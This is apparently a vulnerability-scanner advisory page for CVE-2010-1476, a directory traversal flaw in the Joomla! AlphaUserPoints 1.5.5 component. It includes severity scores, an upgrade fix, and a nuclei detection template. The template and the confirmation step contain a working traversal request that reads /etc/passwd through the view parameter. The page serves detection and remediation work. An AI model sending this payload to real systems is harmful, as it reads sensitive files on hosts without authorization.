Joomla! Component AlphaUserPoints 1.5.5 - Local File Inclusion

mediumseverity

6.8CVSS score

9.9%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the AlphaUserPoints (com_alphauserpoints) component 1.5.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the view parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1476 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1476

info:
  name: Joomla! Component AlphaUserPoints 1.5.5 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the AlphaUserPoints (com_alphauserpoints) component 1.5.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12150
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1476
    - http://packetstormsecurity.org/1004-exploits/joomlaalphauserpoints-lfi.txt
    - http://www.alphaplug.com/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1476
    cwe-id: CWE-22
    epss-score: 0.0994
    epss-percentile: 0.95629
    cpe: cpe:2.3:a:alphaplug:com_alphauserpoints:1.5.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: alphaplug
    product: com_alphauserpoints
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,alphaplug,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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